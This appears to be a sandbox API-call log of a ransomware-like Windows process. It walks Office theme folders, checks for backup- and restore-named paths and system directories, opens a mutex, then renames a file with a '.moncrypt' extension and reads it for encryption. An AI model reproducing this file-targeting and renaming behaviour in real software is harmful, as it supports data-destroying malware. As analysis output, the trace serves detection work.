Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@奌U企@\x18?T\x18D")) returned 0xffffffff [0050.938] GetLastError () returned 0x2 [0050.938] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.938] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fa8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0050.939] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18삌R\x18j")) returned 0xffffffff [0050.939] GetLastError () returned 0x2 [0050.939] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.939] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.939] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@奌U企@\x18?T\x18q")) returned 0xffffffff [0050.939] GetLastError () returned 0x2 [0050.940] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.940] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fa8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\삈RP") returned 6 [0050.940] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.940] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뻜R企@\x18?T\x18y")) returned 0xffffffff [0050.940] GetLastError () returned 0x2 [0050.940] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.940] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fa8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0050.940] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.940] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0050.941] GetLastError () returned 0x2 [0050.941] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.941] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fa8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0050.941] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.941] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@奌U企@\x18?T\x18\x88")) returned 0xffffffff [0050.941] GetLastError () returned 0x2 [0050.941] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.941] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fa8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0050.941] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.942] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뻜R企@\x18?T\x18\x8f")) returned 0xffffffff [0050.942] GetLastError () returned 0x2 [0050.942] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.942] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fa8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0050.942] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.942] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0050.942] GetLastError () returned 0x2 [0050.942] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.942] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fa8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0050.942] GlobalLock (hMem=0x440004) returned 0x550170 [0050.942] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.942] GlobalUnlock (hMem=0x440004) returned 0 [0050.943] GlobalLock (hMem=0x440004) returned 0x550170 [0050.943] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.943] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.943] GlobalUnlock (hMem=0x440004) returned 0 [0050.943] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.943] GlobalUnlock (hMem=0x44000c) returned 0 [0050.943] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.943] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.943] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0050.943] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.943] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0050.943] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0050.943] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.943] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.943] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.943] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.944] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0050.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a008, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.944] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.944] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.944] GlobalUnlock (hMem=0x44000c) returned 0 [0050.944] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.944] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.944] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.944] GlobalUnlock (hMem=0x44000c) returned 0 [0050.944] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.944] GlobalUnlock (hMem=0x440004) returned 0 [0050.944] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.944] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fa8, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.945] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fa8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.945] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0050.945] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0050.945] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fa8, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0050.945] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fa8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.946] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\") returned 0x3f [0050.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fa8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.946] GlobalLock (hMem=0x440004) returned 0x550170 [0050.946] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.946] GlobalUnlock (hMem=0x440004) returned 0 [0050.946] GlobalLock (hMem=0x440004) returned 0x550170 [0050.946] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.946] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.946] GlobalUnlock (hMem=0x440004) returned 0 [0050.946] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.946] GlobalUnlock (hMem=0x44000c) returned 0 [0050.946] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.946] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.946] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0050.946] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.946] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.946] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.946] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.946] GlobalUnlock (hMem=0x44000c) returned 0 [0050.946] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.946] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.946] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.946] GlobalUnlock (hMem=0x44000c) returned 0 [0050.946] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.947] GlobalUnlock (hMem=0x440004) returned 0 [0050.947] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.947] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0050.948] CloseHandle (hObject=0x18c) returned 1 [0050.948] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\я")) returned 1 [0050.949] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 0x54e240 [0050.949] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.949] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.949] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", dwFileAttributes=0x20) returned 1 [0050.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.951] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.moncrypt")) returned 1 [0050.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.951] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.951] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xaec9 [0050.951] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.951] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.953] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.954] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.954] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.954] GlobalUnlock (hMem=0x44000c) returned 0 [0050.954] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0050.954] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.954] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.954] GlobalUnlock (hMem=0x44000c) returned 0 [0050.954] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.954] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.954] GlobalHandle 